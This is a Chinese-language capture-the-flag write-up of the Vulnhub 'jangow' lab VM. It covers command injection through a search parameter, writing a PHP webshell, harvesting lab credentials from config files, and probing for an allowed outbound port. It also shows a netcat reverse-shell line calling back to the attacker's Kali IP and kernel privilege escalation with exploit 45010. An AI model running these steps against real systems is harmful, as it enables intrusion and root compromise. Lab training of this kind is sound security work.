Vulnhub-jangow靶机 完整复现过程

注意!
使用VMware可能获取不到IP,解决方案参考连接:

https://blog.csdn.net/qq_41918771/article/details/103636890

一、环境搭建

kali的IP地址:192.168.200.14
jangow靶机的IP地址:未知

二、信息收集

1.存活主机

netdiscover -r 192.168.200.0/24

可知目标IP 地址为 192.168.200.18
Vulnhub-jangow靶机 完整复现过程_第1张图片

2.开放端口

nmap -A -p 1-65535 192.168.200.18

nmap -p 1-65535 -A -sV 192.168.200.18

Vulnhub-jangow靶机 完整复现过程_第2张图片
80端口和21端口 开放

访问80端口

Vulnhub-jangow靶机 完整复现过程_第3张图片
依次查看不同页面
buscar这个页面有问题,什么都不显示
Vulnhub-jangow靶机 完整复现过程_第4张图片

buscar= 这算是缺少参数,尝试用命令执行,可以看到命令被成功执行
Vulnhub-jangow靶机 完整复现过程_第5张图片

三、反弹shell

直接利用kali进行端口监听,反弹shell
bash连不上
Vulnhub-jangow靶机 完整复现过程_第6张图片
nc 也是不行
Vulnhub-jangow靶机 完整复现过程_第7张图片
常规的反弹shell方法都被限制了

用一句话木马写入,获取shell的方式反弹

http://192.168.200.18/site/busque.php?buscar=echo '' >> shell.php

查看含有一句话木马的文件是否被写入到目标服务器
Vulnhub-jangow靶机 完整复现过程_第8张图片
成功写入

连接蚁剑

成功连接
Vulnhub-jangow靶机 完整复现过程_第9张图片
在/var/www/html/site/wordpress/目录发现config.php文件
Vulnhub-jangow靶机 完整复现过程_第10张图片

账户名:desafio02
密码:abygurl69
数据库名:desafio02

除此之外,/var/www/html/.backup目录下
Vulnhub-jangow靶机 完整复现过程_第11张图片

账户名:jangow01
密码:abygurl69
数据库:jangow01

起初,在端口扫描时,发现21的ftp端口开放可以利用,22的ssh端口没有开放,使用这两个用户名和密码尝试连接一下ftp
desafio02账户不行
Vulnhub-jangow靶机 完整复现过程_第12张图片
jangow01账户连接成功,有个html的目录
Vulnhub-jangow靶机 完整复现过程_第13张图片
经过查看,发现回到了主页部分
Vulnhub-jangow靶机 完整复现过程_第14张图片
还查看到user.txt下的文件,显示内容如下
Vulnhub-jangow靶机 完整复现过程_第15张图片

已知开放端口,3306端口开放,但是寻找不到数据库的账号和密码

netstat -anltp

Vulnhub-jangow靶机 完整复现过程_第16张图片
查看靶机支持的反弹shell的方法

whereis nc bash python php exec lua perl

首先还是现在kali上进行反弹shell,经过刚才的出尝试一般的nc是是用不了的,各种反弹Shell基本无法成功
nc的指令也被限制了一部分
Vulnhub-jangow靶机 完整复现过程_第17张图片
可能是防火墙做了端口的限制;

这里做个验证,在前面的信息收集中,靶机开启了22端口但是我们从外部没有扫描到;

可以通过查看ssh的配置文件看看是否修改了端口;
Vulnhub-jangow靶机 完整复现过程_第18张图片
看到配置文的端口还是22端口,确定是防火墙做了一些限制

后发现443端口能用(一般的服务器做端口限制不会限制80和443),当然也可以用脚本探测,先在 kali 上把 1-65535 这所有端口绑定某个端口上:

sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234

然后监听 1234:nc -lvvp 1234
在靶机上简单写一个脚本探测:

for i in{1..65535};
do 
    time 1 nc -vz 192.168.200.14 $i && echo "&i open" >> out.txt || echo "$i closed" >> closed >> out.txt
done

Vulnhub-jangow靶机 完整复现过程_第19张图片
运行
image.png

探测出来 443 端口。那就写一个反弹 shell:

&1|nc 192.168.200.14 443 >/tmp/f");?>

Vulnhub-jangow靶机 完整复现过程_第20张图片

成功反弹

kali开启监听(前面做了端口绑定,那直接监听 1234 即可,也可以443端口),并且访问反弹shell的php文件:
(不行就多刷新几次)
Vulnhub-jangow靶机 完整复现过程_第21张图片
使用交互式shell、

python3 -c 'import pty;pty.spawn("/bin/bash")'

测试之前获取的两个账户

账户名:jangow01
密码:abygurl69

账户名:desafio02
密码:abygurl69

还是只能登陆jangow01账户
Vulnhub-jangow靶机 完整复现过程_第22张图片

四、提权

查看系统版本

(www-data:/bin/sh) $ lsb_release -a 
/bin/sh: 1: cd: can't cd to /bin/sh
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:    16.04
Codename:    xenial
/bin/sh: 2: Syntax error: ";" unexpected

查看系统版本,看可利用的漏洞:
image.png
**靶机环境是ubuntu 4.4.0-31,使用 searchsploit 看看有没有什么可利用的漏洞(**内核版本4.4 Ubuntu版本为16.04.1)

searchsploit ubuntu 4.4.0-31  

Vulnhub-jangow靶机 完整复现过程_第23张图片+
将45010.c下载到本地
Vulnhub-jangow靶机 完整复现过程_第24张图片
查看
Vulnhub-jangow靶机 完整复现过程_第25张图片
赋一下权限(一开始我用的 jangow01 用户做的,发现无法赋权,后来试了下 www-data 可以):
先 gcc 运行一下45010.c文件
Vulnhub-jangow靶机 完整复现过程_第26张图片
会产生一个a.out的文件,然后运行它,就会得到root权限,查看flag
Vulnhub-jangow靶机 完整复现过程_第27张图片
Vulnhub-jangow靶机 完整复现过程_第28张图片

你可能感兴趣的:(#,红队打靶,网络安全,笔记,web安全)